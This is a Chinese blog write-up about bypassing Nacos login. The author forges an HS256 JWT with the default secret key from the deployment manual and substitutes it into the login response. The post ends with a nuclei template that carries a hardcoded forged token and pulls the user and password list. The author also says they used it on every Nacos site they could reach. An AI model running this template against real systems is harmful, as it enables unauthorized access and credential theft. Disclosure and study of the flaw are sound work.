当前位置:   article > 正文

记一次CNVD证书挖掘_jwt挖掘

jwt挖掘

在某一次挖洞的过程中,灯塔扫描出来一个Nacos未授权访问的漏洞

在好奇心的驱使下,我去搜索了一下这个名为Nacos的系统。Nacos是阿里维护的一个开源的项目,一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。

然后就开始了我的挖洞之旅。我先是通过官网提供的控制台样例去了解这个系统。通过BP抓包,获取到系统登录成功的响应包。我们可以看到该系统是通过JWT token进行鉴权,鉴权点在返回包的Authorization头部和响应体的accessToken字段

JWT(Json web token)是为了在网络应用环境间传递声明而执行的一种基于JSON的开发标准。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。

JWT由三部分组成:header(头部)、payload(载荷)、signature(签名)。JWT的格式为:header.payload.signature

header部分一般包含两部分信息:

  • 声明类型,这里是jwt

  • 声明加密的算法 通常直接使用 HMAC SHA256

完整头部如下:

{  'typ': 'JWT',  'alg': 'HS256'}

然后将头部进行base64加密得到第一部分

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

payload部分就是存放有效信息的地方,一般包含三部分

  • 标准中注册的声明

  • 公共的声明

  • 私有的声明

将我们获取到的token解析后就会得到以下部分

  1. {
  2. "sub": "nacos",
  3. "exp": 1687248824
  4. }

signature部分是最重要的部分,它是一个签证信息,这个签证信息由三部分组成:

  • header (base64后的)

  • payload (base64后的)

  • secret

这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串(头部在前),然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。

了解了JWT token是如何构成的之后,我就想着,我是否可以自行构建一个token,从而绕过登录,直接进入后台呢,但是想要生成一个JWT token,密钥部分是必不可少的。然后我就开始翻官方的部署手册。不得不说,官方的部署手册是真的不辍。里面提供了默认的密钥(在2.2.0版本以前的nacos配置文件中也有,在那之后就被删除了),说干就干,咱赌的就是他们没有修改默认密钥。

 

如今已经获取到了密钥,使用JWT Token在线生成工具可以直接生成。如下:加密方式选择HS256,Type选择jwt,选择一个token过期时间,面向用户我们填nacos,因为该系统默认的管理员用户就是nacos,最后输入我们从部署手册获取到的密钥。点击生成

获取到token后,我们尝试随意选择一个Nacos网站。默认口令:nacos/nacos无法登录成功。

BP拦截响应包

替换响应包格式,将我们生成的token输入进去,直接放包

成功进入系统。

随后我编写了一个nuclei脚本(脚本在文章末尾),尝试用这个token去访问所有我能获取到的nacos站点后台,均能成功。

最终也是成功拿下了CNVD原创漏洞证书


nuclei脚本源码:

  1. id: nacos-unauthorized
  2. info:
  3. name: Nacos unauthorized
  4. author: pb
  5. severity: critical
  6. description: Nacos unauthorized
  7. tags: nacos,unauthorized
  8. requests:
  9. - raw:
  10. - |
  11. GET /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyIiOltdLCJpYXQiOjE2ODgwNjIzMDksImV4cCI6MTY4ODE0MDc5OSwiYXVkIjoiIiwiaXNzIjoiIiwic3ViIjoibmFjb3MifQ.qONuvSSkjZOqFdegldvduChcYFIHRjUEIvlc0SyHT9I HTTP/1.1
  12. Host: {{Hostname}}
  13. matchers-condition: and
  14. matchers:
  15. - type: word
  16. part: body
  17. condition: and
  18. words:
  19. - '"username"'
  20. - '"password"'
  21. - type: status
  22. status:
  23. - 200
  24. # Enhanced by mp on 2022/02/28
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/酷酷是懒虫/article/detail/1005695
推荐阅读
相关标签
  

闽ICP备14008679号